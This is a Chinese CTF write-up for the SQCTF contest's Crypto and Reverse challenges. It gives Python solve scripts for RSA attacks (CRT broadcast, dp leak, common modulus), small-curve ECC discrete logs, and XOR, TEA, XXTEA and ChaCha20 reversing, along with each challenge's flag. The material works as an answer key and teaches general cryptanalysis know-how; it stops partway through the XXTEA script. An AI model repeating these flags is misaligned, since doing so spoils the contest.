Crypto

base?

别阴阳我了行吗?

阴阳怪气解码,然后把中文感叹号改成英文感叹号

春风得意马蹄疾

套了四层社会主义核心价值观解密

https://ctf.bugku.com/tool/cvecode

简单RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import math

# 已知参数
e = 65537
n = 7349515423675898192891607474991784569723846586810596813062667159281369435049497248016288479718926482987176535358013000103964873016387433732111229186113030853959182765814488023742823409594668552670824635376457830121144679902605863066189568406517231831010468189513762519884223049871926129263923438273811831862385651970651114186155355541279883465278218024789539073180081039429284499039378226284356716583185727984517316172565250133829358312221440508031140028515954553016396884149904097959425582366305748700291610280675014390376786701270107136492645593662763444032174543205008326706371954830419775515459878227148997362533

c = 3514741378432598036735573845050830323348005144476193092687936757918568216312321624978086999079287619464038817665467748860146219342413630364856274551175367026504110956407511224659095481178589587424024682256076598582558926372354316897644421756280217349588811321954271963531507455604340199167652015645135632177429144241732132275792156772401511326430069756948298403519842679923368990952555264034164975975945747016304948179325381238465171723427043140473565038827474908821764094888942553863124323750256556241722284055414264534546088842593349401380142164927188943519698141315554347020239856047842258840826831077835604327616

# 因为上一步我们已经求得 p, q
p = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863611867388261
q = 85729314844316224669788680650977264735589729061816788627612566392188298017717541385878388569465166835406950222982743897376939980435155664145111997305895651382483557180799129871344729666249390412399389403988459762024929767702864073925613168913279047262718022068944038280618279450911055132404010863614460682753

# 计算 φ(n) = (p-1)*(q-1)
phi = (p - 1) * (q - 1)

# 计算 d,使得 d * e ≡ 1 (mod φ(n))
# 使用扩展欧几里得算法计算逆元
def egcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = egcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y

def modinv(a, m):
gcd, x, _ = egcd(a, m)
if gcd != 1:
raise Exception('逆元不存在')
return x % m

d = modinv(e, phi)

# 用 d 对密文进行 RSA 解密: m = c^d mod n
m = pow(c, d, n)

# 将 m 转换为字节串(假设原消息使用的是大端字节序)
m_bytes = m.to_bytes((m.bit_length() + 7) // 8, 'big')
print(m_bytes)
# SQCTF{be7e48547356cdf16649fd29e0ff9e1f}

ezCRT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import math
from Crypto.Util.number import long_to_bytes

# 给定的模数和密文
n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093

c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614

# 确认模数两两互质
assert math.gcd(n1, n2) == 1
assert math.gcd(n1, n3) == 1
assert math.gcd(n2, n3) == 1

# 使用CRT合并c1和c2
delta = (c2 - c1) % n2
inv_n1_mod_n2 = pow(n1, -1, n2)
k = (delta * inv_n1_mod_n2) % n2
x12 = c1 + k * n1
M12 = n1 * n2

# 将合并结果与c3合并
delta3 = (c3 - x12) % n3
inv_M12_mod_n3 = pow(M12, -1, n3)
k3 = (delta3 * inv_M12_mod_n3) % n3
x123 = x12 + k3 * M12

def find_cube_root(n):
low, high = 0, n
while low <= high:
mid = (low + high) // 2
mid_cubed = mid ** 3 # 修正后的行
if mid_cubed < n:
low = mid + 1
elif mid_cubed > n:
high = mid - 1
else:
return mid
return high

# 求解立方根
cube_root = find_cube_root(x123)
if cube_root ** 3 == x123:
m = cube_root
flag_bytes = long_to_bytes(m)
print("Flag Bytes:", flag_bytes)
# SQCTF{CRT_Unl0cks_RSA_Eff1c13ncy}

失落矿洞中的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from Crypto.Util.number import inverse, isPrime
import math

p = 7654319
a = 1234577
b = 3213242

def is_on_curve(P):
if P is None: return True
x, y = P
return (y * y - (x**3 + a * x + b)) % p == 0

def point_add(P, Q):
if P is None: return Q
if Q is None: return P
x1, y1 = P
x2, y2 = Q

if x1 == x2 and (y1 + y2) % p == 0:
return None
if P == Q:
l = (3 * x1 * x1 + a) * inverse(2 * y1, p) % p
else:
l = (y2 - y1) * inverse(x2 - x1, p) % p

x3 = (l * l - x1 - x2) % p
y3 = (l * (x1 - x3) - y1) % p
return (x3, y3)

def point_neg(P):
if P is None: return None
x, y = P
return (x, (-y) % p)

def scalar_mult(k, P):
R = None
while k > 0:
if k & 1:
R = point_add(R, P)
P = point_add(P, P)
k >>= 1
return R

# 椭圆曲线参数
G = (5234568, 2287747)
PublicKey = (2366653, 1424308)

# Baby Step Giant Step 算法
def bsgs(P, Q, order_estimate):
m = math.isqrt(order_estimate) + 1
baby_steps = {}
R = None
for j in range(m):
baby_steps[R] = j
R = point_add(R, P) if R else P

mP = scalar_mult(m, point_neg(P))
R = Q
for i in range(m):
if R in baby_steps:
return i * m + baby_steps[R]
R = point_add(R, mP)
return None

# 估计 G 的阶
order_estimate = p # 上界
secret = bsgs(G, PublicKey, order_estimate)
print("[+] secretKey =", secret)

# 解密
crypted_data = [(5081741, 6744615), (610619, 6218)]
C1, C2 = crypted_data

shared = scalar_mult(secret, C1)
M = point_add(C2, point_neg(shared))

print("[+] M =", M)
print("[+] x + y =", M[0] + M[1])
# [+] x + y = 5720914
# 所以flag为:SQCTF{5720914}

密室逃脱的终极挑战

用IDA打开就能看到flag

玩的挺变态啊清茶哥

用随波逐流找编码图,对照打出来就行

丢三落四的小I

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import long_to_bytes
import math

n = 15124759435262214519214613181859115868729356369274819299240157375966724674496904855757710168853212365134058977781083245051947523020090726851248565503324715984500225724227315777864292625995636236219359256979887906731659848125792269869019299002807101443623257106289957747665586226912446158316961637444556237354422346621287535139897525295200592525427472329815100310702255593134984040293233780616515067333512830391860868933632383433431739823740865023004008736555299772442805617275890761325372253913686933294732259451820332316315205537055439515569011020072762809613676347686279082728000419370190242778504490370698336750029
e = 65537
dp = 1489209342944820124277807386023133257342259912189247976569642906341314682381245025918040456151960704964362424182449567071683886673550031774367531511627163525245627333820636131483140111126703748875380337657189727259902108519674360217456431712478937900720899137512461928967490562092139439552174099755422092113
c = 4689152436960029165116898717604398652474344043493441445967744982389466335259787751381227392896954851765729985316050465252764336561481633355946302884245320441956409091576747510870991924820104833541438795794034004988760446988557417649875106251230110075290880741654335743932601800868983384563972124570013568709773861592975182534005364811768321753047156781579887144279837859232399305581891089040687565462656879173423137388006332763262703723086583056877677285692440970845974310740659178040501642559021104100335838038633269766591727907750043159766170187942739834524072423767132738563238283795671395912593557918090529376173

def find_p(e, dp, n):
edp = e * dp
for k in range(1, e + 1):
if (edp - 1) % k == 0:
p_candidate = (edp - 1) // k + 1
if p_candidate != 0 and n % p_candidate == 0:
return p_candidate
return None

p = find_p(e, dp, n)
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()

print("Flag:", flag)
# Flag: SQCTF{7b909221-c8ff-f391-0c86-d3a9ca8491d1}

ez_SCA

在这里找到原题:https://blog.csdn.net/xuruihan177/article/details/139519433

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import numpy as np
from scipy.spatial.distance import euclidean

# 加载能量轨迹文件
traces = np.load('energy_traces_with_flag.npy')

# 加载模板轨迹文件
template_trace_0 = np.load('template_trace_0.npy')
template_trace_1 = np.load('template_trace_1.npy')

# 恢复私钥(明文 flag 的二进制形式)
def recover_private_key(traces, template_trace_0, template_trace_1):
private_key = []
for trace in traces:
# 计算轨迹与两个模板轨迹的欧几里得距离
dist_0 = euclidean(trace, template_trace_0)
dist_1 = euclidean(trace, template_trace_1)
# 选择距离较小的模板轨迹对应的比特位
private_key.append(0 if dist_0 < dist_1 else 1)
return private_key

# 将恢复的二进制形式转换为明文 flag
def bits_to_text(bits):
chars = [bits[i:i+8] for i in range(0, len(bits), 8)]
text = ''.join([chr(int(char, 2)) for char in chars])
return text

# 恢复私钥并转换为明文
private_key = recover_private_key(traces, template_trace_0, template_trace_1)
recovered_bits_str = ''.join(map(str, private_key))
recovered_plaintext = bits_to_text(recovered_bits_str)

print(f"Recovered plaintext: {recovered_plaintext}")
# Recovered plaintext: SQCTF{easy_funny_and_not_hard_sca_hhh_just_kingdding}

Common Modulus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import gmpy2
from libnum import n2s

n = 13650503560233612352420237787159267432351878281073422449253560365809461612884248041710373755322100953953257608601227381211434513766352420535096028618735289379355710140356003114010103377509526452574385251495847301426845768427018504464757671958803807138699056193259160806476941875860254288376872925837127208612702688503022494109785623082365323949385021488106289708499091818714253710552213982060745736652306892896670424179736886691685639988637188591805479432332714690818805432648223229601082431517091667297328748597580733946557364100555781113940729296951594110258088501146224322799560159763097710814171619948719257894889
c1 = 3366500968116867439746769272799247895217647639427183907930755074259056811685671593722389247697636905214269760325119955242254171223875159785479900114989812511815466122321484289407596620307636198001794029251197349257235827433633936216505458557830334779187112907940003978773672225479445837897135907447625387990203145231671233038707457396631770623123809080945314083730185110252441203674945146889165953135351824739866177205127986576305492490242804571570833778440870959816207461376598067538653432472043116027057204385251674574207749241503571444801505084599753550983430739025050926400228758055440679102902069032768081393253
c2 = 7412517103990148893766077090616798338451607394614015195336719617426935439456886251056015216979658274633552687461145491779122378237012106236527924733047395907133190110919550491029113699835260675922948775568027483123730185809123757000207476650934095553899548181163223066438602627597179560789761507989925938512977319770704123979102211869834390476278761480516444396187746843654541476645830961891622999425268855097938496239480682176640906218645450399785130931214581370821403077312842724336393674718200919934701268397883415347122906912693921254353511118129903752832950063164459159991128903683711317348665571285175839274346
e1 = 4217054819
e2 = 2800068527

# 计算扩展欧几里得算法得到s和t
gcd, s, t = gmpy2.gcdext(e1, e2)
assert gcd == 1, "e1 和 e2 不互质,无法进行共模攻击"

# 处理负数指数的情况
if s < 0:
c1 = gmpy2.invert(c1, n)
s = -s
if t < 0:
c2 = gmpy2.invert(c2, n)
t = -t

# 计算明文
m = (pow(c1, s, n) * pow(c2, t, n)) % n

# 转换为字节并输出
print(n2s(int(m)).decode())
# SQCTF{06774dcf-b9d1-3c2d-8917-7d2d86b6721c}

你的天赋是什么

《1789年的密文》

浏览器搜找到了来着Bugku的原题:https://www.cnblogs.com/0yst3r-2046/p/11810574.html

改改对应脚本内的密钥运行即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#秘钥
key="4,2,11,8,9,12,3,6,10,14,1,5,7,13"
#密文
cipher_text = "UNEHJPBIUOMAVZ"


f = open("flag.txt")
str_first_encry = []


for line in f:
line = line.strip()
str_first_encry.append(line)


key_index = key.split(",")
str_second_encry=[]
for k in key_index:
str_second_encry.append(str_first_encry[int(k)-1])
print(str_first_encry[int(k)-1])


for i,ch in enumerate(cipher_text):
line = str_second_encry[i]
split_index = line.index(ch)
temp=[]
temp[0:len(line)-split_index+1] = line[split_index:len(line)]
temp[len(temp):] = line[0:split_index]
str_second_encry[i] = "".join(temp)
print("-------------------------------------")
for plain in str_second_encry:
print(plain)

一个一个试出来SQCTF{maketysecgreat}

Reverse

ezRe(三血)

解压出来就看到是经典Python打包程序

常规python逆向即可

1
2
3
4
5
6
7
8
# Source Generated with Decompyle++
# File: 33.pyc (Python 3.9)

import base64
encoded_flag = 'NWVkMmJlNDUtMmU4My00OGQyLWI2MzEtYzA4OGU1MWVlOTY0'
flag = base64.b64decode(encoded_flag).decode('utf-8')
print(flag)
# 5ed2be45-2e83-48d2-b631-c088e51ee964

慕然回首,那人却在灯火阑珊处

无壳,直接扔IDA

一个简单的迷宫游戏,从S移动到终点E,地图大小为10*10

写个代码自动寻路并找到最短路径即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from collections import deque

# 组合迷宫字符串(注意迷宫总共 100 个字符,10x10)
maze_str = (
"S**#########*########**#########**#########*###**##***###**##*###" +
"##**##*#####*E##*******############"
)

# 迷宫尺寸
rows, cols = 10, 10

# 根据行列索引访问迷宫字符的函数
def get_cell(x, y):
return maze_str[x * cols + y]

# 查找起点和终点坐标
start = end = None
for x in range(rows):
for y in range(cols):
if get_cell(x, y) == 'S':
start = (x, y)
elif get_cell(x, y) == 'E':
end = (x, y)

if start is None or end is None:
print("未找到起点或终点")
exit(1)

# 定义移动及对应的指令,注意坐标变换 (x, y)
moves = {
'w': (-1, 0), # 上
'a': (0, -1), # 左
's': (1, 0), # 下
'd': (0, 1) # 右
}

# BFS 查找最短路径,记录前驱信息以便重构路径
queue = deque([start])
visited = {start: None} # key: 当前坐标,value: (前驱坐标, 移动指令)

while queue:
cur = queue.popleft()
if cur == end:
break
for move, (dx, dy) in moves.items():
nx, ny = cur[0] + dx, cur[1] + dy
# 检查边界和是否为墙(墙用 '#' 表示)
if 0 <= nx < rows and 0 <= ny < cols and get_cell(nx, ny) != '#':
if (nx, ny) not in visited:
visited[(nx, ny)] = (cur, move)
queue.append((nx, ny))

# 如果终点在 visited 中,则重构路径
if end not in visited:
print("未能找到路径")
else:
path_moves = []
cur = end
while cur != start:
prev, move = visited[cur]
path_moves.append(move)
cur = prev
path_moves.reverse()

# 输出路径移动指令
print("最短路径移动指令:", "".join(path_moves))
# ddsssdssaasssddddddwd

鹅鹅鹅,曲项向天歌

还是熟悉的图标

写个脚本逆向出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def decrypt_flag():
ciphertext = 'itd~tzw_know_sanmenxbZ8'

# 拆分加密文本
part2_1_enc = ciphertext[:7] # 'itd~tzw'
part2_2_enc = ciphertext[7:20] # '_know_sanmen'
part2_3_enc = ciphertext[20:] # 'xbZ'

# 解密对应部分
part2_1 = ''.join([chr(ord(c) - 5) for c in part2_1_enc])
part2_2 = part2_2_enc
part2_3 = ''.join([chr(ord(c) + 7) for c in part2_3_enc])

# 拼接得到最终 flag
part2 = part2_1 + part2_2 + part2_3
flag = f"flag{{{part2}}}"
print(flag)

decrypt_flag()
# flag{do_your_know_sanmenxia?}

圣人当仁不让

无壳,直接扔IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64

def reverse_input():
# 目标Base64编码字符串
target_b64 = "/P7sAe/U0s7c1vjb0vjfyt=="

# 1. Base64解码得到16字节数据
decoded_bytes = base64.b64decode(target_b64)

# 2. 逆向操作:先减3再异或0xAA(抵消vm_execute的加3和异操作)
xor_key = 0xAA
reversed_data = bytes([((b - 3) & 0xFF) ^ xor_key for b in decoded_bytes])

# 3. 构造17字节输入(末尾补\x00)
input_bytes = reversed_data + b'\x00'
return input_bytes.decode('latin-1')

def validate_solution(input_str):
# 模拟vm_execute操作:异或0xAA后加3
processed_data = bytes([
((ord(c) ^ 0xAA) + 3) & 0xFF
for c in input_str[:-1] # 前16字节处理
]) + b'\x00' # 第17字节未参与有效编码
encoded_check = base64.b64encode(processed_data[:16]).decode('ascii')
return encoded_check

if __name__ == "__main__":
# 逆向生成输入
solution = reverse_input()
print(f"{solution.encode('latin-1')}")

# b'SQCTF{easy_re_vm\x00'
# 改成SQCTF{easy_re_vm}提交就行

往事暗沉不可追

又是熟悉的图标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# Source Generated with Decompyle++
# File: ����֮·��������.pyc (Python 3.10)


class SimpleVM:

def __init__(self):
self.memory = [
0] * 256
self.registers = [
0] * 16


def load(self, reg, addr):
self.registers[reg] = self.memory[addr]


def store(self, reg, addr):
self.memory[addr] = self.registers[reg]


def xor(self, reg, value):
self.registers[reg] ^= value


def execute(self, bytecode):
ip = 0
if ip < len(bytecode):
op = bytecode[ip]
if op == 'LOAD':
reg = bytecode[ip + 1]
addr = bytecode[ip + 2]
self.load(reg, addr)
ip += 3
elif op == 'STORE':
reg = bytecode[ip + 1]
addr = bytecode[ip + 2]
self.store(reg, addr)
ip += 3
elif op == 'XOR':
reg = bytecode[ip + 1]
value = bytecode[ip + 2]
self.xor(reg, value)
ip += 3
else:
raise ValueError(f'''Unknown opcode: {op}''')
if not None < len(bytecode):
return None
return None


def get_memory(self):
return self.memory


bytecode = [
'LOAD',
0,
16,
'XOR',
0,
85,
'STORE',
0,
32,
'LOAD',
1,
32,
'XOR',
1,
170,
'STORE',
1,
48]
encrypted_data = [
127,
131,
125,
123,
135,
127,
133,
123,
125,
131,
127,
135,
131,
123,
135,
125]
vm = SimpleVM()
vm.memory[16:16 + len(encrypted_data)] = encrypted_data
vm.execute(bytecode)
final_memory = vm.get_memory()

逆向脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
class SimpleVM:
def __init__(self):
self.memory = [0] * 256
self.registers = [0] * 16

def load(self, reg, addr):
self.registers[reg] = self.memory[addr]

def store(self, reg, addr):
self.memory[addr] = self.registers[reg]

def xor(self, reg, value):
self.registers[reg] ^= value

def execute(self, bytecode):
ip = 0
while ip < len(bytecode):
op = bytecode[ip]
if op == 'LOAD':
reg = bytecode[ip + 1]
addr = bytecode[ip + 2]
self.load(reg, addr)
ip += 3
elif op == 'STORE':
reg = bytecode[ip + 1]
addr = bytecode[ip + 2]
self.store(reg, addr)
ip += 3
elif op == 'XOR':
reg = bytecode[ip + 1]
value = bytecode[ip + 2]
self.xor(reg, value)
ip += 3
else:
raise ValueError(f"Unknown opcode: {op}")

def get_memory(self):
return self.memory


# 给定的加密数据和字节码
encrypted_data = [127, 131, 125, 123, 135, 127, 133, 123, 125, 131, 127, 135, 131, 123, 135, 125]
bytecode = [
'LOAD', 0, 16,
'XOR', 0, 85,
'STORE', 0, 32,
'LOAD', 1, 32,
'XOR', 1, 170,
'STORE', 1, 48
]

# 初始化虚拟机并加载加密数据
vm = SimpleVM()
vm.memory[16:16 + len(encrypted_data)] = encrypted_data

# 执行字节码
vm.execute(bytecode)

# 获取最终内存中的解密数据
final_memory = vm.get_memory()
decrypted_data = final_memory[48:48 + len(encrypted_data)]

# 直接计算:两次异或等价于异或 85 ^ 170 = 255
direct_decrypt = [x ^ 255 for x in encrypted_data]

# 将解密后的数据转换为flag格式
flag = "SQCTF{" + ",".join(map(str, direct_decrypt)) + "}"
print("Flag:", flag)
# Flag: SQCTF{128,124,130,132,120,128,122,132,130,124,128,120,124,132,120,130}

遇事不决,可问春风

一个APK文件,用jadx打开

逆向步骤如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 定义加密部分和异或密钥
ENCRYPTED_PARTS = ["5", "#", ")", "7", "5", "#", ")", "7"]
XOR_KEY = 66 # 'B' 的 ASCII 值
FLAG_PREFIX = "SQCTF{i_am_a_"
FLAG_SUFFIX = "}"

# 步骤1:拼接加密字符串
encrypted_str = "".join(ENCRYPTED_PARTS) # 得到 "5#)75#)7"

# 步骤2:异或解密每个字符
decrypted_password = "".join([
chr(ord(c) ^ XOR_KEY) # 字符逐个异或解密
for c in encrypted_str
])

# 步骤3:构建完整 Flag
flag = f"{FLAG_PREFIX}{decrypted_password}{FLAG_SUFFIX}"

# 输出结果
print(f"Flag: {flag}")
# Flag: SQCTF{i_am_a_wakuwaku}

春风也有春风愁

无壳,直接扔IDA

一个简单的XOR

1
2
3
4
5
6
7
8
9
10
11
12
13
v6 = [
0x0D, 0x0B, 0xFD, 0x08, 0xFA, 0x15, 0xF7, 0xFB,
0x0D, 0x13, 0x31, 0x14, 0x01, 0x0E, 0x0F
]

flag = []
for b in v6:
decrypted = ((b - 55) & 0xFF) ^ 0xA5
flag.append(decrypted)

flag_str = ''.join(chr(c) for c in flag)
print("Flag:", flag_str)
# Flag: sqctf{easy_xor}

唧唧复唧唧,木兰当户织

拉进Die可以看到加了UPX的壳

脱壳后扔到IDA查看

就一个简单的base64解码

把解出来的flag里的中文逗号换成英文逗号就行SQCTF{xixibuxixi,mulandanghuzhi}

看山不是山

Exeinfo PE查看是一个python打包的程序

用经典的python逆向工具把源码跑出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def decrypt_target():
target = bytes.fromhex('738495a6b7c8d9e0f123456789abcdef')
key = 439041101
key_bytes = [(key >> (i * 8)) & 0xff for i in range(4)]

data = []
for i in range(16):
encrypted_byte = target[i]
kb = key_bytes[i % 4]
# 逆向步骤:先减去i,再异或密钥字节
temp = (encrypted_byte - i) % 256
original = temp ^ kb
data.append(original)

return bytes(data)

data_decrypted = decrypt_target()
print("Decrypted Data (hex):", data_decrypted.hex())
# "Decrypted Data (hex): 3ebfb8b9fefff8c3a426104630a294fa

flag为SQCTF{3ebfb8b9fefff8c3a426104630a294fa}

即随本心

Exeinfo PE查看是一个python打包的程序

用经典的python逆向工具把源码跑出来

AES_CBC加密,而且密钥和IV都给出来了,赛博厨子梭哈

击败abyssun

Exeinfo PE查看是一个python打包的程序

直接用pycdc.exe无法逆向出完整代码

pycdas.exe查看字节码,没想到直接找到flag,连ce改血都不需要

天下谁人不识君

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
s = 'wesyvbniazxchjko1973652048@$+-&*<>'
result = 'v7b3boika$h4h5j0jhkh161h79393i5x010j0y8n$i'

pairs = [(result[2*i], result[2*i+1]) for i in range(len(result)//2)]
flag = []

for i, (c1, c2) in enumerate(pairs):
pos1 = s.index(c1)
s1 = (pos1 - i) % 34
if s1 < 0 or s1 > 15:
continue # 忽略无效的s1

pos2 = s.index(c2)
s2 = (33 - pos2 - i) % 17
computed_pos2 = (- (s2 + i + 1)) % 34
if computed_pos2 != pos2:
continue # 验证失败

original_char = s1 * 17 + s2
flag.append(chr(original_char))

print(''.join(flag))
# SQCTF{libai_jianxian}

你若安好便是晴

无壳,直接扔IDA

一个TEA加密,写个脚本进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import struct

def tea_decrypt(block, key):
"""
解密一个 64 位块(由两个 32 位无符号整数组成),
使用标准的 TEA 解密算法(32 轮,采用小端序)。
参数:
block -- 长度为8的字节串
key -- 长度为4的无符号整数列表
返回:
解密后的两个 32 位整数组成的列表
"""
# 从 block 中读取两个 32 位整数 (小端格式)
v0, v1 = struct.unpack("<II", block)
delta = 0x9e3779b9
# 初始和 = delta * 32 (注意使用无符号32位运算)
s = (delta * 32) & 0xffffffff
for _ in range(32):
# TEA 解密轮:先解 v1,再解 v0,均做 32 位无符号运算
v1 = (v1 - (((v0 << 4) + key[2]) ^ (v0 + s) ^ ((v0 >> 5) + key[3]))) & 0xffffffff
v0 = (v0 - (((v1 << 4) + key[0]) ^ (v1 + s) ^ ((v1 >> 5) + key[1]))) & 0xffffffff
s = (s - delta) & 0xffffffff
return v0, v1

def remove_padding(data):
"""
根据 sub_102 的处理,将 data 按照最后一个字符的数值去掉对应数量的填充。
例如,若最后一个字节的值为 n,则有效数据长度为 len(data)-n
"""
# data 是字节数组,取最后一个字节做为填充数
pad = data[-1]
if pad > 0 and pad <= len(data):
return data[:-pad]
return data

def xor_transform(data, key_val):
"""
对 data 中的每个字节进行 XOR 变换。
"""
return bytearray(b ^ key_val for b in data)

def main():
# 原始硬编码的十六进制字符串
hex_string = "7f1f17fd8e51aa660b8036914a4950e8fa8078a2ef33608650fb7a845226f2d1"
# 转换为二进制数据(字节数组)
data = bytearray.fromhex(hex_string)

# TEA 密钥(注意:负数转化为对应的无符号 32 位数)
key = [
0x12345678, # 305419896
0x87654321, # 2271560481 (原 -2023406815 转无符号)
0xABCDEF98, # 2882400152 (原 -1412567144 转无符号)
2566839482 # 4294967296 - 1728127814 = 2566839482
]

# 分块解密,每 8 字节解密一次
decrypted = bytearray()
for i in range(0, len(data), 8):
block = data[i:i+8]
# 如果不足8个字节则不处理(或补足,视实际加密时填充方式而定)
if len(block) < 8:
break
v0, v1 = tea_decrypt(block, key)
# 将解密后的整数以小端格式转换回字节并追加到 decrypted 中
decrypted.extend(struct.pack("<II", v0, v1))

# 调用 sub_102 的处理:根据最后一个字节(padding 数量)截断字符串
decrypted = remove_padding(decrypted)

# 最后对每个字节进行 XOR 操作(key = 22)
final = xor_transform(decrypted, 22)

try:
# 输出最终结果(假设为 UTF-8 编码的文本)
print(final.decode('utf-8'))
except UnicodeDecodeError:
# 若解码失败则以十六进制形式显示
print("解密后的数据非文本,十六进制表示:", final.hex())

if __name__ == '__main__':
main()
# SQCTF{nihaobuhaobuhaoxixi}

人生自古谁无死

无壳,直接扔IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Cipher import ChaCha20

# 生成密钥
g_obf2 = [0xDE, 0xAD, 0xBE, 0xEF]
key = bytes([(g_obf2[i % 4] ^ (i + 17)) for i in range(32)])

# 生成Nonce(12字节)
nonce = bytes([17 * j for j in range(12)])

# 读取加密文件
with open('1.enc', 'rb') as f:
ciphertext1 = f.read()
with open('2.enc', 'rb') as f:
ciphertext2 = f.read()

# 使用ChaCha20解密
cipher1 = ChaCha20.new(key=key, nonce=nonce)
plaintext1 = cipher1.decrypt(ciphertext1)

cipher2 = ChaCha20.new(key=key, nonce=nonce)
plaintext2 = cipher2.decrypt(ciphertext2)

print("Flag 1:", plaintext1)
print("Flag 2:", plaintext2)

# Flag 1: b'\xab\xd1k\xdb)\xa1\xd1\xfe\x01\x05\x7f\tj\xfb\xccX|\xc0\xde}\x185\xb3f\x8a9\x89\xf5\xf3\x93'
# Flag 2: b'SQCTF{real_chacha20_flag}'

不劳春风解我忧

无壳,直接扔IDA

一个XXTEA算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
def xxtea_decrypt(v, k):
"""
XXTEA 解密算法实现
参数:
v: list[int],待解密的数据(32 位无符号整数列表)
k: list[int],密钥(4 个32位无符号整数)
返回:
解密后的 32 位整数列表
"""
n = len(v)
if n < 2:
return v
delta = 0x9e3779b9
rounds = 6 + 52 // n
sum_val = (rounds * delta) & 0xFFFFFFFF
while sum_val != 0:
e = (sum_val >> 2) & 3
for p in range(n - 1, -1, -1):
y = v[(p + 1) % n]
z = v[p - 1]
# 与加密中相反的逆向操作
f = (((z >> 5) ^ (y << 2)) + ((y >> 3) ^ (z << 4))) ^ ((sum_val ^ y) + (k[(p & 3) ^ e] ^ z))
v[p] = (v[p] - f) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
return v

def uint32_array_to_bytes(arr, length):
"""
将32位无符号整数数组转换成 bytes 字节串(little-endian),
并截取指定长度
"""
b = bytearray()
for x in arr:
b.extend(x.to_bytes(4, 'little'))
return bytes(b[:length])

def main():
# 固定的密钥,与 C 代码中的完全一致
key = [0x12345678, 0x9ABCDEF0, 0xFEDCBA98, 0x87654321]

# 给定密文(加密后目标结果),注意需要转换为无符号 32 位整数表示:
